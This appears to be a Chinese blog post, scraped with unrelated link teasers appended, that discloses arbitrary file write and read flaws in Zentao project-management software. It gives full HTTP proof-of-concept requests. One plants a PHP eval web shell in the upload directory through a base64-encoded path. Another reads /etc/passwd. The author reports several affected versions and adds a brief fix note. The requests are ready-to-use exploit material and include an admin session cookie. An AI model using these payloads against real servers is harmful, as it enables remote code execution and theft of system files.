漏洞1: 任意文件写入漏洞 自评风险:严重

问题出在这里

这里新建方法的时候,其实会写到限定目录的,限定后是无法访问的所以这里,即使成功写也无法利用。不过,我们能跳出它的限制

老规矩,看poc

POST /zd/www/index.php?m=editor&f=save&filePath=L3Zhci93d3cvemQvd3d3L2RhdGEvdXBsb2FkLzEucGhw&action=newPage HTTP/1.1

Host: 172.16.0.128:81

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://172.16.0.128:81/zd/www/index.php?m=editor&f=edit&filePath=L3Zhci93d3cvemQvbW9kdWxlL2luc3RhbGwvZXh0L2NvbnRyb2wvaW5mby5waHA=&action=newPage&isExtends=

Cookie: lang=zh-cn; theme=default; windowWidth=700; windowHeight=612; keepLogin=on; za=admin; zp=478204cc9b8ad76200072d66a6183562dfb90781; sid=onfa3enukp3ib1burp2hvrobe6

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 46

fileContent=<?php @eval($_POST['test']);?>

filePath 的值其实是目标文件的base64的编码值,所以,这里只要修改下就可以搞定了,当然,你得找个既能写入又能访问的目录,明显,data/upload/就是我们要的

直接拿到后门了。是不是很简单,别问我怎么得到物理路径的,随便到处都是,编辑的地方都有。

漏洞2:读文件 自评风险:高危

这个其实根据上面那个发现方法一样,利用方法也一样,只是这次换成读任意文件。

看poc:

GET /zd/www/index.php?m=editor&f=edit&filePath=L2V0Yy9wYXNzd2Q=&action=override&isExtends= HTTP/1.1

Host: 172.16.0.128:81

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://172.16.0.128:81/zd/www/index.php?m=editor&f=extend&moduleDir=install

Cookie: lang=zh-cn; theme=default; windowWidth=700; windowHeight=612; keepLogin=on; za=admin; zp=478204cc9b8ad76200072d66a6183562dfb90781; sid=onfa3enukp3ib1burp2hvrobe6

Connection: keep-alive

L2V0Yy9wYXNzd2Q= 这个就是/etc/passwd的base64的值了漏洞证明:

一直觉得这个证明的框有些多余,每个漏洞说明的时候其实就加上证明了。

个人测试了5.2 ,5.3 ,6.2 三个版本,都存在这个问题。只要你有后台权限,肯定拿shell的。

其中,url换成伪静态的时候远离也一样,那一长串就是目标文件的url的base64,记住这个就好了。修复方案:

老生常谈了,限制限制还是限制,不能想读那个就读那个,想写那个就写那个啊,

禅道linux一键安装漏洞,禅道漏洞第二弹后台读写任意文件/getshell相关推荐

  1. 禅道linux一键安装漏洞,禅道全版本rce漏洞复现笔记

    禅道全版本rce漏洞复现笔记 漏洞说明 禅道项目管理软件是一款国产的,基于LGPL协议,开源免费的项目管理软件,它集产品管理.项目管理.测试管理于一体,同时还包含了事务管理.组织管理等诸多功能,是中小 ...

  2. 【服务器】Linux一键安装web环境全攻略(阿里云服务器)(Centos )

    Centos 系统下的全能Web环境一键安装程序 热点 Round Serv 是Centos 系统下的全能Web环境一键安装程序 集成php jsp .net asp cgi python环境.和My ...

  3. w10系统自带linux系统,win10系统居然内置有Linux一键安装 新手有福了

    花火网消息,也许很多小伙伴都知道Linux系统,但是苦于不会安装,这是一个大问题,其实这对于Windows10系统的用户来说完全不是问题,因为实际上Windows10系统内置有Linux一键安装,下面 ...

  4. Linux一键安装jdk (jdk-8u212-linux-x64.tar.gz 免费下载)

    Linux一键安装jdk 思路 #第1步:提示用户安装jdk#第2步:删除centos自带的jdk#第3步:创建/usr/local/java目录,进入目录#第4步:下载jdk安装包#第5步:解压jd ...

  5. Goby 漏洞更新 | 万户 OA OfficeServer.jsp 任意文件上传漏洞

    漏洞名称:万户 OA OfficeServer.jsp 任意文件上传漏洞 English Name:ezOFFICE OA OfficeServer.jsp Arbitrarily File Uplo ...

  6. linux一键安装node+npm

    分享一个linux下一键安装node+npm脚本. 使用方式为: ./install-node.sh,然后输入版本号,node.js版本查询 切记不需要加 sudo 执行!!! 默认安装10.15.0 ...

  7. aria2 linux一键安装,Aria2一键安装及管理脚本,搭建AriaNg前端

    说明:Aria2作为一款linux下的下载神器,可以下载http资源.种子文件.磁力链接等,功能强大,就不过多介绍了,此前提到过Aria2安装方法,这里再说个逗比大佬的一键脚本,很方便,推荐使用. 一 ...

  8. linux一键安装虚拟机系统

    在上一篇博客中我们学习了如何编写脚本在系统中自动安装虚拟机,当我们安装好虚拟机以后,启动这台虚拟机,会发现进入到虚拟机的系统安装的界面,在进行分区,时区等设置以后,就完成了这台虚拟机系统的安装. 当我 ...

  9. linux一键安装rdp脚本,linux使用一键安装远程桌面环境/RDP脚本遇到问题与解决

    老左前几天有在"Linux 系统一键安装远程桌面环境/RDP 支持CentOS/Debian/Ubuntu"文章中介绍到网友分享的一键安装桌面环境的方法,当时这篇文章的测试服务器是 ...

最新文章

  1. php url 安全性,在php中获取url内容的安全性
  2. Java项目:抽奖点名神器(HTML+可自定义抽选)
  3. [ JSOI 2015 ] Salesman
  4. 在Spring事务管理下,Synchronized为啥还线程不安全?
  5. 为什么你学不好Web前端?这些原因你需了解
  6. 自定义线程类中实例变量与其他线程共享与不共享
  7. visual studio toolbox 修复
  8. python direct_Python Qt.DirectConnection方法代码示例
  9. 小米6android版本更新,钉子户小米6的新生,换电池、背盖,升级android11
  10. poythoncode-实战4--读取文本文件,csv文件,存到系统中以大列表方式进行存储
  11. Minitab散点图技巧
  12. xp电脑自动锁定计算机,教你设置windows xp系统电脑自动关机的方法
  13. [云炬商业计划书阅读分享] 全国挑战杯创业计划大赛预赛评审办法
  14. Ubuntu安装teamviewer12
  15. Qt Creator 的下载与安装
  16. IOS开发教程第一季之02UI进阶day4合并IOS学习015--Segue小专题、沙盒存储小专题、归档/解档、TabBarController、App主流UI框架结构
  17. C语言编程——随机排座位+指定座位
  18. 从测序到宏基因组:聚焦菌群生信分析方法最前沿
  19. MySQL面试试题(五)
  20. Docker微容器之Alpine Linux 初体验

热门文章

  1. 第七章--图--基本概念
  2. 安卓上哔哩哔哩视频的导出
  3. linux无法识别m2固态,主板识别不出m.2固态硬盘怎么办|笔记本电脑无法识别m.2固态硬盘解决方法-系统城...
  4. 音频转化mp3 ,到底选vbr还是cbr
  5. 如何排查计算机联网故障,电脑莫名连不上网?佰佰教你如何排除网络连接故障!...
  6. linux(centos) 保存退出vi编辑
  7. 轻微课靠谱吗?轻微课学员的真实评价!!!
  8. java 生成短链接_java调用百度API生成短链接(一)
  9. 程序员高效率工作工具归纳(上)
  10. 03.Redis— —持久化